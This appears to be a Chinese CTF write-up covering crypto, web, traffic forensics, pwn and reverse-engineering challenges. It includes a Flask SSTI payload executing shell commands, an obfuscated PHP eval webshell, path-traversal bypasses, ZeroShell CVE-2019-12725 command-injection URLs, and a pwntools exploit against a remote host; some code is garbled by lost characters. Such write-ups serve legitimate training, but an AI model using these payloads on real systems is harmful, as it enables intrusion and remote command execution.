Crypto
题目:
from Crypto.Util.number import getPrime, bytes_to_long
from random import randint
import os
FLAG = os.getenv("FLAG").encode()
flag1 = FLAG[:15]
flag2 = FLAG[15:]
def crypto1():
p = getPrime(1024)
q = getPrime(1024)
n = p q
e = 0x10001
x1=randint(0,211)
y1=randint(0,2114)
x2=randint(0,211)
y2=randint(0,2514)
hint1=x1p+y1q-0x114
hint2=x2p+y2q-0x514
c = pow(bytes_to_long(flag1), e, n)
print(n)
print(c)
print(hint1)
print(hint2)
def crypto2():
p = getPrime(1024)
q = getPrime(1024)
n = p q
e = 0x10001
hint = pow(514p - 114q, n - p - q, n)
c = pow(bytes_to_long(flag2),e,n)
print(n)
print(c)
print(hint)
print("==================================================================")
crypto1()
print("==================================================================")
crypto2()
print("==================================================================")
nc获取数据:
第一部分解密脚本:
from tqdm import trange
from Crypto.Util.number import
from gmpy2 import
n= 18088011671538976982165525440386623289385114080576725768019061415671826851943445221226512589098669346404026374951858999387217508024789211498259452109214556714912857033124082966625646395283686312524015320926512455915546499413478756620357509821566076816579297882375786426816605611526775168996549051600931509019387185312619492222782269305011713051789911005317468583129891804202627825567966747213383425120088700132546120060985737910313952154697082271457880737295887007466461730433266268402482331178579951103721119735101467400195497116119485338923706700491486973150788317315356357101151829456342562867587099598945192815263
c = 9672261292049179510539936121485683732050798623479355794472893221642511300800280335280454378943002919160802677245360275424484528013159261954493742998677309529673790654057091714075262162318494670714730092015059383281995469507344322339633183388332778604852910046402244856048524492616127009392735657588616348180165737939024483272404465691736500951998475167207424220354207033328796782335018476327594119671551311477701303163670617853496320673657883624554669421593020604921475875559320715926280873207029420395750055202639374682706327888026109861279966152066895569848791223114397562133543690771564722708438398302054378748382
hint1 = 1876377888814200677442129576675996706468631990804911325305925446297494237080972549459539078790790063918048118238573069981792229335343412599922437368079227142591323977848118125493649176850872826534420257631894221784255713060216558942913054972531098351649650098921170981304230776828706602102714925788415307347441588418154129396919337838110092813
hint2 = 4577144295703606484123914611409444377581187954194894627593999949721725631702229741058762926738731162033453968685003890648825426935166041938739780782092132921278035040699628683026895248136976510810097939718444896419804529003179001092641108224659396765795452144064815761341321104087246151217134879547607066758663682702357666390897071886395518123041544718060193617760547848107588540156504758935787543246553706035451249171216368368607224982935938619089301863944851318
for i in trange(211):
for w in range(211):
k = (hint1 + 0x114) i
w = (hint2 + 0x514) w
l = gcd(k - w, n)
if l != 1 and isPrime(l):
p = l
q = n // p
d = inverse(65537, (p - 1) (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m).decode())
_ 第二部分就比较简单了,推个等式利用Z3就可以求出p,q
推导:
__<font style="color:#333;">在 RSA 加密中,主要有以下几个参数:
</font>__<font style="color:#333;">- 模数 ( n ):由两个大素数 p 和 q 的乘积构成,即 n=p×q
</font>__<font style="color:#333;">- 公钥指数 ( e ):通常是一个小的常数(如 65537),用于加密过程
</font>__<font style="color:#333;">- 私钥 ( d ):用于解密过程,通常通过d≡e−1mod(p−1)(q−1) 计算得出
</font>__<font style="color:#333;">线性组合的构造:
</font>__<font style="color:#333;">我们可以构造一个线性组合比如:k=514p−114q
</font>__<font style="color:#333;">这个组合可以看作是 p 和 q 的某种关系,我们可以将其视为一个新的变量 k
</font>__<font style="color:#333;">计算 hint:
</font>__<font style="color:#333;">我们要计算的 hint 是:
</font>__<font style="color:#333;">hint=pow(514p−114q,n−p−q,n)
</font>__<font style="color:#333;">这表示将 514p−114q 提升到 n−p−q 的幂,然后对 n 取模
</font>__<font style="color:#333;">推导过程:
</font>__<font style="color:#333;">n−p−q
</font>__<font style="color:#333;">根据 RSA 的性质,我们知道:
</font>__<font style="color:#333;">n=p×q
</font>__<font style="color:#333;">因此n−p−q 可以表示为:
</font>__<font style="color:#333;">n−p−q=pq−p−q
</font>__<font style="color:#333;">计算 hint
</font>__<font style="color:#333;">将 k 代入 hint 的计算中:
</font>__<font style="color:#333;">hint=pow(514p−114q,n−p−q,n)
</font>__<font style="color:#333;">解释 hint
</font>__<font style="color:#333;">这个 hint 的计算实际上是将 514p−114q 的结果提升到 n−p−q 的幂,并对 n 取模。这个操作在 RSA 中是合法的,因为我们在模 n 的范围内进行运算
</font>__<font style="color:#333;">从 hint 的定义出发:
</font>__<font style="color:#333;">hint=pow(514p−114q,n−p−q,n)
</font>__<font style="color:#333;">这意味着:
</font>__<font style="color:#333;">hint≡(514p−114q)(n−p−q)modn
</font>__<font style="color:#333;">求逆:
</font>__<font style="color:#333;">如果我们想要得到514p−114q,我们可以通过求逆来实现:
</font>__<font style="color:#333;">(514p−114q)≡hint ^ (n−p−q) ^ −1 mod n
</font>__<font style="color:#333;">这意味着:
</font>__<font style="color:#333;">514p−114q ≡ inverse(hint, n) mod n
</font>_所以可以利用这个关系组成个等式,来求出两个未知数
所以可以利用这个关系组成个等式,来求出两个未知数
from Crypto.Util.number import
from z3 import
n = 19270469180149377263192680520819033524539225081011510973771491132573055666673351141996751197354363664966014556774615485934908980461758850357009251309139628221564453417674382327302421186462670811373716926240975834774481469724971880623608600218091329795743254370563097739791612527201215958971410743353451459144002124470888119861714861743318989005059458006392282025661284787801335449493817479339656692022153914190452646349608988234249089757979295313780035505101668837926927936182966948338603241612244642741597658758777488950156533305392860253251286264242993704349899118371704510160880572747042643531951959235458650535201
c = 17922269792919020054615215743477596812624139562663477259751167464530271650542317088700713269485811397529339279516458231908605132062757375048865481634994627781161964719169079516071499023010331813470999183912373770424498490096501950489912324313610809253291227934210924561262506655227831816557706705271515382040988621473520356987673072721352470307538611049235274679949259625092930942227801261483611129856790200274136422472806003001953980483266780144214483509977936166152968674312795223620207142790023737286941892114758105363980960058996508562524135436561252121040044921523038783948500002980889791088501992627049267597054
hint = 19236929998880181808018278535269127648428289004903763893783918597013504816536557917002191668963373294797217170818500275763975145920076792641715979989044405220048466110491686882366659071341778289300858576719810757580192820193943223753948022827596919281442444812797548572128563878078576343846538381701558407690521650097077131251644013459573140665791665676168096886035764351033673931977943007462592700704650732813647930386012566936894017149333920203825492818595797754434803713959329583444899558835357904298974503703559166036391340551836013754747833877314394091456341194131951756729495427025667660222403204175396895401660
k = inverse(hint, n)
p, q = Ints('p q')
s = Solver()
s.add(514 p - 114 q == k,p q == n)
if s.check() == sat:
model = s.model()
p1 = model
.as_long()
q1 = model[q].as_long()
d = inverse(0x10001, (p1 - 1) (q1 - 1))
m = pow(c, d, n)
print(long_to_bytes(int(m)).decode())
_<font style="color:#333;">
</font>_
fffffhash
题目:
import os
from Crypto.Util.number import
def giaogiao(hex_string):
base_num = 0x6c62272e07bb014262b821756295c58d
x = 0x0000000001000000000000000000013b
MOD = 2*128
for i in hex_string:
base_num = (base_num x) & (MOD - 1)
base_num ^= i
return base_num
giao=201431453607244229943761366749810895688
print("1geiwoligiaogiao")
hex_string = int(input(),16)
s = long_to_bytes(hex_string)
if giaogiao(s) == giao:
print(os.getenv('FLAG'))
else:
print("error")
审计可得:giaogiao 函数是一个自定义的哈希函数,接受一个十六进制字符串作为输入,使用乘法和异或操作来处理输入的字节,并返回一个计算结果,程序提示输入一个十六进制字符串,将其转换为字节,然后调用 giaogiao 函数进行计算,最后与预定义的常量 giao 进行比较,如果匹配,则输出环境变量 FLAG 的值,否则输出错误信息,这题想要采用爆破几乎是不可能的,所以还是得采用技巧,我们可以利用线性代数中的矩阵运算和数论中的模运算来进行解密,在解密代码中构建了一个矩阵 M,并通过增广和应用 BKZ(Block Korkin-Zolotarev)算法来处理这个矩阵,BKZ算法是一种用于解决整数线性规划问题的算法,通常用于寻找短向量或近似最优解,然后通过对矩阵的行进行操作,找到一个有效的解,这个解是通过线性组合得到的,总的来说就是通过构建和操作矩阵、应用算法和利用位运算的特性,能够有效地进行解密。
解密脚本:
key = 0x6c62272e07bb014262b821756295c58d
p_value = 0x0000000001000000000000000000013b
limit = 2 ^ 128 # 模数
wpk_value = 201431453607244229943761366749810895688 # 目标值
n = 20 # 矩阵的维度
创建矩阵 M,包含 p 的幂和目标值的计算
M = Matrix.column([p_value^(n - i - 1) for i in range(n)] + [-(wpk_value - key p_value ^ n), limit])
M = M.augment(identity_matrix(n + 1).stack(vector([0] (n + 1)))) # 增广矩阵
Q = Matrix.diagonal([2^256] + [2^8] n + [2^16]) # 对角矩阵
M = Q # 矩阵乘法
M = M.BKZ() # 应用 BKZ 算法
M /= Q # 归一化
遍历矩阵 M,寻找满足条件的行
for row in M:
if row[0] == 0 and abs(row[-1]) == 1:
row = row[-1]
valid_solution = row[1:-1]
break
answers = [] # 存储答案
y_value = int(key p_value)
t_value = (key p_value ^ n + valid_solution[0] p_value ^ (n - 1)) % limit #
for i in range(n):
for x in range(256):
y_temp = (int(y_value) ^^ int(x)) p_value ^ (n - i - 1) % limit # 计算 y_temp
if y_temp == t_value:
answers.append(x)
if i < n - 1:
t_value = (t_value + valid_solution[i + 1] p_value ^ (n - i - 2)) % limit
y_value = ((int(y_value) ^^ int(x)) * p_value) % limit # 更新 y
break
print(bytes(answers).hex())
结果得到:1df2006d2e3362153d001f53102a7c2a0a591516,输入这个就可以得到flag
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'
.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"rnrn")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OKrn"
b"Content-Length: " + str(len(response_body)).encode() + b"rn"
b"Content-Type: text/html; charset=utf-8rn"
b"rn" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
考了ssti
在/路由会有两种处理
使用get访问会读取当前的python脚本的内容 并返回源码
使用post方法会获取code的内容 黑名单进行过滤 然后渲染模板
绕过过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n']
当前是无回显的ssti
我们要进行无回显的绕过 构造
我们可以使用fenjing来自动构造payload
我们有黑名单 我们可以本地起一个ssti
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'
.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
try:
result = render_template_string(template_code)
return result # 直接返回渲染后的模板内容
except Exception as e:
return f"Error: {str(e)}" # 返回错误信息
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"rnrn")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OKrn"
b"Content-Length: " + str(len(response_body)).encode() + b"rn"
b"Content-Type: text/html; charset=utf-8rn"
b"rn" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
我们改成了有回显的ssti
本地运行
使用fenjing梭哈
提交表单完成,返回值为200,输入为{'code': "{%print g.pop['_'*2+'globals'+'_'*2]['_'*2+'builtins'+'_'*2]['_'*2+'i''mport'+'_'*2]('so'[::-1])['p''open']('cat /flag>app.py').read()%}"},表单为{'action': '/', 'method': 'POST', 'inputs': {'code'}}
得到payload
url编码 运行
get访问路由/
就会访问app.py
我们就可以访问到flag
flag{0c518973-d0c3-49c1-bb4f-44f3074f484c}
发现 ../hackme.php
文件包含 ../hackme.php
但访问不到
有过滤 尝试绕过过滤
可以双写然后绕过过滤
....//hackme.php
http://eci-2zef3sej7rworr0h35d8.cloudeci1.ichunqiu.com/index.php?file=....//hackme.php
http://eci-2zef3sej7rworr0h35d8.cloudeci1.ichunqiu.com/index.php?file=....//hackme.php
查看上一级目录
查看tips
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
逐层输出
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
获取密码
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
echo $YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));
?>
</code> @eval($_POST['cmd_66.99']);
非法字符传参 用[绕过
cmd[66.99
蚁剑连接
/var/run/log/13c448004444d2791e0661fa2f216b20/flag
找到flag
flag{7cc8ccc6-fcaf-4446-9f38-e1de21c0da97}
威胁检测与网络流量分析
zeroshell_1
分析流量
导入wireshark
搜索字符串flag 没找到
搜索flag的base64的形式开头Zmxh
ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9
base64解码
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
zeroshell_2
https://peiqi.wgpsec.org/wiki/iot/ZeroShell/ZeroShell%203.9.0%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-12725.html
找到了nday
ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725
poc
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind%20/%20-name%20flag*%0A%27
找到flag
/Database/flag
/DB/_DB.001/flag
c6045425-6e6e-41d0-be09-95682a4f65c4
zeroshell_3
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Anetstat%20-ano%20%0A%27
查看外联的ip
发现了有一个202.115.89.103
看到了外联ip
flag{202.115.89.103}
页面没有返回进程的PID
只能上kali利用exp,netstat -anp列出进程
接下来用ls -l /proc/10751,来找其运行文件,找到为.nginx
于是flag为.nginx
利用xxd将/tmp/.nginx的二进制文件转化为十六进制(hex)格式
查看页面代码
在里面找到了,可疑ip地址,猜测后面为它的密钥
flag{11223344qweasdzxc}
在shell中不断查询⽂件,寻找包含".nginx"字符串的⽂件,最终在/var主⽬录下找到
bash-4.3# grep -r '.nginx' /var
/var/register/system/startup/scripts/nat/File:cp /Database/.nginx /tmp/.ng
inx
/var/register/system/startup/scripts/nat/File:chmod +x /tmp/.nginx
/var/register/system/startup/scripts/nat/File:/tmp/.nginx
grep: /var/register/system/startup/scripts/wireless/File: No such file or
directory
grep: /var/register/system/startup/scripts/preboot/File: No such file or d
irectory
grep: /var/run/acpid.socket: No such device or address
bash-4.3# cat /var/register/system/startup/scripts/nat/File
cp /Database/.nginx /tmp/.nginx
chmod +x /tmp/.nginx
/tmp/.nginxbash-4.3#
/var/register/system/startup/scripts/nat/File⽂件复制到/tmp⽬录然后给了执⾏权限并执⾏,所以就
是启动⽂件
WinFT_1
看到hosts文件里有
猜测端口为80或443
flag{miscsecure.com:192.168.116.130:443}
计划任务中找到了字符串
base64解码
html解码
Nice,flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}
WinFT_5
将流量包放到随波逐流里
然后进行分析 然后foremost提取出文件
提取出来了zip
用winrar打开
看文件的备注信息 发现了密码
5pe26Ze057q/5YWz6IGU6Z2e5bi46YeN6KaB
时间线关联非常重要
密码 解压出flag
flag{a1b2c3d4e5f67890abcdef1234567890-2f4d90a1b7c8e2349d3f56e0a9b01b8a-CBC}
查找ip
2024/11/09_16:22:42
01df5bc2388e287d4cc8f11ea4d31929
flag{01DF5BC2388E287D4CC8F11EA4D31929}
PWN
from pwn import *
from pwncli import *
from struct import pack
from ctypes import *
elf_name = "./note"
# io = process(elf_name)
io = remote("39.107.73.132", 31040)
# context(os="linux", arch="amd64")
context(os="linux", arch="amd64", log_level="debug")
elf = ELF(elf_name)
lg_infos = []
lga = lambda data: lg_infos.append(data)
s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sa = lambda text, data: io.sendafter(text, data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda n: io.recv(n)
ru = lambda text: io.recvuntil(text, timeout=0.1)
rl = lambda: io.recvline()
int16 = lambda a: int(a, 16)
strencode = lambda a: str(a).encode()
uu32 = lambda: u32(io.recvuntil(b"xf7")[-4:].ljust(4, b'x00'))
uu64 = lambda: u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
iuu32 = lambda: int(io.recv(10), 16)
iuu64 = lambda: int(io.recv(6), 16)
uheap = lambda: u64(io.recv(6).ljust(8, b'x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(str(data))))
ia = lambda: io.interactive()
def log_all():
for lg_info in lg_infos:
lg(lg_info)
menu = b"Choice>>"
def add():
sla(menu, b"1")
def show(idx):
sla(menu, b"2")
sla(b"index: ", strencode(idx))
ru(b"gift: ")
return int16(r(9))
def edit(idx, len, content):
sla(menu, b"3")
sla(b"index: ", strencode(idx))
sla(b"len: ", strencode(len))
sla(b"content: ", content)
def exit():
sla(menu, b"4")
def g():
gdb_sript = '''b *0x8048a86n'''
gdb.attach(io, gdb_sript)
log_all()
back = 0x80489CE
add()
add()
add()
show(0)
heap_0x8 = show(0)
# g()
# pause()
edit(0, 32, p32(back) * 6)
edit(-8, 32, p32(heap_0x8 + 8) * 6)
# 0xffea57dc
# 0 -> gift + 8
# 1 -> gift + 0x20 + 8
# 2 -> gift + 0x20 * 2 + 8
# -1 ->gift + 0x20 * (-8) + 8
lg("heap_0x8")
ia()
经过调试发现这里的edit第一个参数*(&v25 + v20)是堆地址,第二个参数是content 第三个参数是index,第四个是nbytes注意到(***(&v25 + v20)}(*(&v25 + v20));需要在堆上放置一个二级指针
经过调试发现-8的位置有⼀个栈指针,这个栈指针会指向我们第⼀次edit的内容,所以利⽤这个栈指针可以构造⼀个三级指针指向后⻔函数,等待程序⾃⼰调⽤即可
RE
dump
可以看的出来是命令行传参
尝试动调
这里才是最后加密的地方,不过是逐字符加密,并且会输出密文,直接爆破
include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_OUTPUT_LEN 1024
#define ENC_LEN 22
#define FLAG_LEN 22
const char *enc[ENC_LEN] = {
"23", "29", "1e", "24", "38", "0e", "15", "20", "37", "0e",
"05", "20", "00", "0e", "37", "12", "1d", "0f", "24", "01", "01", "39"
};
const char printable[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ";
int main() {
char flag[FLAG_LEN + 6] = "flag{";
int index = 5;
char output[MAX_OUTPUT_LEN];
FILE *fp;
for (int i = 0; i < 17; i++) {
for (int j = 0; printable[j] != ' '; j++) {
snprintf(flag + strlen(flag), 2, "%c", printable[j]);
fp = popen(flag, "r");
if (fp == NULL) {
perror("popen failed");
return 1;
}
fgets(output, MAX_OUTPUT_LEN, fp);
fclose(fp);
int len = strlen(output);
if (len >= (index + 1) * 2) {
char hex_pair[3] = {output[index * 2], output[index * 2 + 1], ' '};
if (strcmp(hex_pair, enc[index]) == 0) {
printf("%c", printable[j]);
flag[strlen(flag) - 1] = printable[j];
index++;
break;
}
}
}
}
printf("nFinal flag: %sn", flag);
return 0;
}
找了特别久的都打不开elf文件,偶然打开了但是很明显完全没有信息
后面重新用ghidra打开了.
找到关键函数,根据内容寻找敏感数据
成功找到密文:
和之前找到的数据吻合,基本可以确定这一串就是他的加密密文
由于上述函数,猜想应该是rc4加密. 加密和解密过程使用相同的步骤,因为 RC4 是对称加密算法a。
通过伪随机字节流的异或操作,明文可以加密成密文,密文可以解密回明文。RC4 将明文逐字节地与伪随机生成的字节流进行异或操作来生成密文.但是此处是将当前字符和后一位字符异或.写出脚本进行解密
脚本
#include <stdio.h>
#include <string.h>
void initialize_state(unsigned char *state, const unsigned char *key, unsigned long key_len) {
for (int i = 0, j = 0; i < 256; i++) {
state[i] = i;
j = (j + state[i] + key[i % key_len]) % 256;
unsigned char temp = state[i];
state[i] = state[j];
state[j] = temp;
}
}
void rc4_decrypt(unsigned char *data, unsigned long data_len, const unsigned char *key, unsigned long key_len) {
unsigned char state[256];
initialize_state(state, key, key_len);
for (unsigned long k = 0, i = 0, j = 0; k < data_len; k++) {
i = (i + 1) % 256;
j = (j + state[i]) % 256;
unsigned char temp = state[i];
state[i] = state[j];
state[j] = temp;
data[k] ^= state[(state[i] + state[j]) % 256];
}
}
int main() {
const unsigned char key[] = "testkey";
const unsigned long key_len = strlen((const char *)key);
unsigned char ciphertext[] = {
0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64,
0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8,
0x63, 0x9E, 0x5B, 0x3D, 0xD9, 0x28, 0x3F, 0xC8, 0x73, 0x06,
0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA3, 0x23, 0xAE, 0xCA, 0x40,
0xED, 0xD1
};
rc4_decrypt(ciphertext, sizeof(ciphertext), key, key_len);
for (int i = sizeof(ciphertext) - 1; i > 0; i--) {
ciphertext[i] ^= ciphertext[i - 1];
}
for (unsigned long i = 0; i < sizeof(ciphertext); i++) {
printf("%c", ciphertext[i]);
}
return 0;
}
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